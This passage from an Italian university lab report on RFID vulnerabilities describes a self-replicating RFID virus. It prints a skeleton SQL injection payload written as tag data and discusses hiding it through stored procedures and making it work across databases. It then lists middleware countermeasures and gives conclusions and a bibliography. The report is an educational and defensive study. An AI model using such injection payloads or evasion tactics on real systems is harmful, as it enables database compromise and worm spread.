container riempiti nuovamente, ad esempio il container con il tag RFID #123 ci indica che il
container è stato riempito con cavi usb e che il container con il tag RFID #234 sia stato ririempito con dei cd vergini.
7.1 ...da un virus auto-replicante?
Un giorno arriva al centro distribuzioni un container con un bel payload: quindi il tag RFID
del container è sostanzialmente infettato con un bel virus che potremmo tranquillamente
trovare nei nostri computer. Questo virus userà un SQL Injection come questo per
attaccare il sistema RFID di back-end,:
Contents=UsbCable; UPDATE NuovoContenutoContainer SET
ContenutiContainer = ContenutiContainer || “; [SQL Injection]’’;
LʼSQL Injection praticamente viene posizionato dopo le “ | | “ e una volta eseguito, il codice
concatena i dati della colonna ContenutoContainer nella tabella
NouvoContenutoContainer con il codice completo dellʼSQL Injection.
Il virus successivamente si diffonde nel modo seguente: quando arriva un nuovo container
il tag RFID infetto viene letto dal reader RFID e mentre vengono letti i dati contenuti nel
tag, lʼSQL Injection viene eseguito involontariamente dal database di back-end della
struttura middleware. Il codice maligno viene cosi aggiunto ai dati di descrizione del
Federico Barboni - Laboratorio Interdisciplinare 08/09
Vulnerabilità e prevenzione nei sistemi RFID
contenuto del container che verrà ricaricato. Il sistema di gestione dei dati procederà poi a
scrivere questi valori dentro la porzione di dati del nuovo tag arrivato (e non ancora
infettato), dopo che il rispettivo container sia stato ricaricato. Quindi il nuovo tag RFID
infettato e il rispettivo container vengono spediti a destinazione. I tags malevoli
infetteranno le strutture middleware dei vari stabilimenti colpendo nelle aree dove vengono
utilizzati gli stessi sistemi middleware RFID. I sistemi RFID di conseguenza infetteranno
altri tags RFID, i quali infetteranno altri sistemi RFID e via via proseguendo.
[SQL Injection] = UPDATE NuovoContenutoContainer SET
ContenutoContainer = ContenutoContainer || ‘’; [SQL Injection]’’;
Naturalmente, il fulcro della cosa sta nella parte di codice dove andrà lʼSQL Injection,
quindi dovrà essere debitamente compilato :)
Possiamo a questo punto vedere più dallʼalto la situazione che abbiamo appena
ipotizzato, parlando di come potremmo ottimizzare la possibilità di nascondere un virus e
di come potremmo renderlo più generico possibile:
✓ Ottimizzazione della segretezza: Fondamentalmente i virus RFID non sono molto
bravi a nascondersi; un attacco tipo SQL Injection farebbe dei cambiamenti palesi alle
tabelle dei databases, tanto che un amministratore tranquillamente potrebbe
accorgersene. Per risolvere questo problema, un virus RFID può mascherare le
modifiche apportate: ad esempio,il payload di un RFID Injection potrebbe sfruttare le
Stored Procedures contenute nei tags RFID infettati, lasciando le tabelle dei database
inalterate. Se lʼamministratore del DB non esamina le procedure contenute nel codice
tanto frequentemente quanto esamina le tabelle dei dati, è probabile che passerà molto
tempo prima che si accorga del virus. Dʼaltro canto, lo svantaggio fondamentale
dellʼutilizzo delle Stored Procedures è che esse sono indipendenti per ogni tipo di
database, il quale possiede un proprio univoco linguaggio di programmazione, quindi il
virus dovra essere ragionevolmente specifico per il tipo di database in questione. In
ogni caso, la segretezza non è poi così fondamentale per un virus RFID, perchè anche
se un amministratore trova il virus e lo elimina, il danno non è stato risolto se altri tag
RFID infetti sono altrove, come vedevamo prima, nel caso in cui un container taggato
lasci il deposito centrale;
✓ Aumentare la generalità: Come detto prima, un virus RFID è dipendente da una certa
struttura di database, il che limita la sua possibile replicazione attraverso un altra
specifica struttura middleware; una possibile ottimizzazione può essere data dal fatto di
creare un virus con un meccanismo riproduttivo più generico, il quale possa infettare
una scala maggiore di implementazioni RFID. Una strategia per creare un virus RFID
più generico è quella di eliminare il nome delle tabelle e delle colonne dal meccanismo
di riproduzione: lʼ SQL Injection potrebbe aggiungere dati alla moltitudine di tabelle e
colonne che si presentano al caso. Un altro modo per ottenere maggior compatibilità è
quello di essere conformi il più possibile allo standard SQL ANSI, in modo tale da
permettere al payload dellʼexploit di riuscire a compromettere quante più piattaforme
Federico Barboni - Laboratorio Interdisciplinare 08/09
Vulnerabilità e prevenzione nei sistemi RFID
possibili, senza che lʼSQL Injection fallisca. Lʼaspetto negativo di questo approccio però
è la difficoltà di controllare che i dati non vengano ad esempio inseriti nella colonna
dellʼID del tag, perchè in quel caso il virus non riuscirà più a riprodursi.
8. Contromisure dal lato middleware
Ora che abbiamo visto come sia possibile lʼexploit dei sistemi RFID, vedremo come
dobbiamo comportarci, nel caso in cui ci dovessimo trovare faccia a faccia con la
configurazione di un sistema RFID, per prevenire possibili attacchi:
➡Controllo dei limiti: Il controllo dei limiti può prevenire attacchi di tipo Buffer Overflow,
individuando o meno un indice che si trova entro i limiti dellʼarray. Solitamente questa
operazione viene fatta del compilatore, in modo da non indurre a ritardi di runtime:
linguaggi di programmazione come Visual Basic, Java e C# non hanno bisogno di
questo controllo. In ogni caso, sistemi middleware RFID scritti in altri linguaggi come C o
C++ dovrebbero essere compilati con questo controllo se possibile, ci sono comunque
tools che possono fare questo automaticamente con Valgrind [NS07] e Electric Fence
[PER]. I tools di analisi statstica del codice sorgente non rappresentano, e non vanno
considerati, una panacea: dopo tutto sono sempre usati ed i loro risultati interpretati
dall'essere umano, il quale molte volte puo' sbagliare. Un esempio clamoroso fu il bug
dell'anno scorso su OpenSSL nelle distro Debian-based, dove il maintainer della libreria,
interpreto' in modo non corretto l'output di Valgrind riducendo enormemente l'entropia nel
Pseudo Random Number Generator di OpenSSL.
Federico Barboni - Laboratorio Interdisciplinare 08/09
Vulnerabilità e prevenzione nei sistemi RFID
➡Limitare lʼinput: Attacchi di tipo Code Insertion e SQL Injection possono essere
facilmente neutralizzabili limitando i possibili caratteri in input: un modo per ovviare al
problema potrebbe essere quello di proibire tutti i possibili caratteri speciali, ma
solitamente è più semplice cercare di accettare solo dati contenenti caratteri alfanumerici
standard (0-9, a-z, A-Z). Comunque non è sempre possibile eliminare tutti i caratteri
speciali perchè ad esempio, se un tag RFID su un libro contiene il nome dellʼeditore che
ha nel nome il carattere ʻ ( come ad esempio OʼReilly) non possiamo escluderlo! Anche
se proviamo a sostituire le quote con i backslash, non sempre questo può essere dʼaiuto
perchè il simbolo ʻ può essere rappresentato in Unicode per esempio. Solitamente è più
sicuro utilizzare le funzioni di limitazione dei dati integrate nei databases, come
mysql_real_escape_string() in MySQL;
➡Disabilitare i linguaggi degli script di back-end: Le strutture middleware RFID che
usano lʼ HTTP possono diminuire la possibilità di subire un attacco di Sql Injection
eliminando la possibilità di attivare script da parte del client, questo potrebbe includere
anche la possibilità di disabilitare entrambi i linguaggi sia dal lato client (come Javascript,
Java, VBScript, ActiveX e Flash) che dal lato server;
➡Limitare i permessi dei databases: Le connessioni verso il database dovrebbero avere
un numero molto ristretto di permessi possibili: le tabelle dovrebbero essere solo readonly o addirittura inaccessibili, perchè in questo modo si riuscirebbe a limitare possibili
Sql Injections. Inoltre anche disabilitare la possibilità di eseguire SQL multipli in una
singola query potrebbe diminuire la possibilità dʼattacco;
➡Utilizzare parametri vincolanti: Creare costrutti dinamici SQL “on-the-fly” è abbastanza
rischioso, invece è meglio utilizzare le procedure contenute nel DB con un parametro
vincolante. Questo parametro in pratica non viene trattato come un valore, rendendo gli
attacchi SQL più difficili;
➡Isolare il server RFID della struttura middleware: Non deve essere possibile
lʼaccesso a tutta lʼinfrastruttura di back-end solamente perchè sia stato compromesso il
server RFID della struttura middleware: le confugurazioni della rete interna dovrebbero
limitare questa possibilità;
➡Controllare il codice sorgente: Ovviamente, i codici sorgente delle strutture
middleware RFID più vengono controllati e più diminuirà la possibilità di bugs sfruttabili.
Le strutture middleware RFID fatte in casa dovrebbero essere controllate in modo
abbastanza approfondito, mentre solitamente le soluzioni commerciali RFID-based o
open-source RFID hanno un contenuto minore di bugs.
Federico Barboni - Laboratorio Interdisciplinare 08/09
Vulnerabilità e prevenzione nei sistemi RFID
9. Conclusioni
I malware dellʼRFID minacciano un intera classe di applicazioni dedicate alla Pervasive
Computing. Gli sviluppatori di tutti i sistemi basati sullʼRFID devono cominciare a pensare
di strutturare i propri sistemi cercando di limitare i possibili danni causabili da un hacker
che voglia sperimentare le proprie conoscenze su i Virus RFID, Worms RFID o quasiasi
tipo di exploit. Negli argomenti trattati si è cercato di sottolineare lʼimportanza di adottare
misure preventive, dimostrando la necessità attraverso lʼesempio di un possibile attacco a
un database aziendale.
Lo sviluppo odierno di possibili minacce per lʼRFID costituisce una nuova frontiera
dellʼeterno scontro fra sicurezza e hackers: i malware per RFID sono la causa di fenomeni
nuovi come lʼRFID phishing, cercando di aggirare i lettori RFID facendo leggere tags
maligni, o lʼRFID wardriving per cercare tags RFID vulnerabili.
Depistare gli attaccanti attraverso RFID Honeypots potrebbe essere una valida soluzione
per ovviare il problema dei wardriver ad esempio. Comunque, tutti questi casi rendono
sempre più ovvio il pensiero di non poter credere di essere totalmente al sicuro dietro
queste nuove tecnologie RFID e soprattutto di dover prendere provvedimenti tempestivi
per ovviare a possibili disastri su larga scala.
Federico Barboni - Laboratorio Interdisciplinare 08/09
Vulnerabilità e prevenzione nei sistemi RFID
Bibliografia/Sitografia:
[UVA06] ”Is Your Cat Infected with a Computer Virus?”, Melanie Rieback, Bruno Crispo,
and Andrew Tanenbaum, Pervasive Computing and Communications, Marzo 2006
http://www.rfidvirus.org/papers/perCom.06.pdf
[SIR06] “The RFID Virus that Wasn't”, Louis Sirico, Marzo 2006
http://morerfid.com/details.php?
subdetail=Report&action=details&report_id=1486&display=RFID
[FGS05] “Security analisys of the object name service for RFID, in: Security, Privacy, and
Trust in Pervasive and Ubiquitous Computing”, B. Fabian, O. Gunther, S. Spiekermann,
2005
[KIR06] “RFID tags are subject to viruses, says study”, Jeremy Kirk, Marzo 2006
http://ww6.infoworld.com/products/print_friendly.jsp?link=/article/
06/03/15/76485_HNrfidviruses_1.html
[HOF79] “Godel, Escher, Bach: An Eternal Golden Braid”, D.R. Hofstadter, Basic Books,
Inc., New York, NY, USA, 1979
[GAR05] "RFID: Applications, Security, and Privacy", S. Garfinkel and B. Rosenberg,
Addison-Wesley, 2005, capitolo 7.
[MAD09] “Quines (self-replicating programs)”, D. Madore.
http://www.madore.org/∼david/computers/quine.html.
[RIE07] “The Art of RFID Exploitation”, M. Rieback, FIRST Conference, 2007
www.first.org/conference/2007/papers/rieback-melanie-slides.pdf
[NS07] “Valgrind: A program supervision framework”, N. Nethercote, J. Seward, Electronic
Notes in Theoretical Computer Science 89.
[PER] “Electric fence”, B. Perens. http://perens.com/FreeSoftware/ElectricFence/
[KRO06] “RFID Middleware”, Vlad Krotov. Università di Houston. Bauer College of
Business. Summer 2006
www.bauer.uh.edu/rfid/RFID%20Middleware.ppt
[BGSJRS05] “Security analysis of a cryptographically-enabled RFID device”, S. Bono, M.
Green, A. Stubblefield, A. Juels, A. Rubin, M. Szydlo. Baltimore, Maryland, USA, 2005, pp.
1–16
Federico Barboni - Laboratorio Interdisciplinare 08/09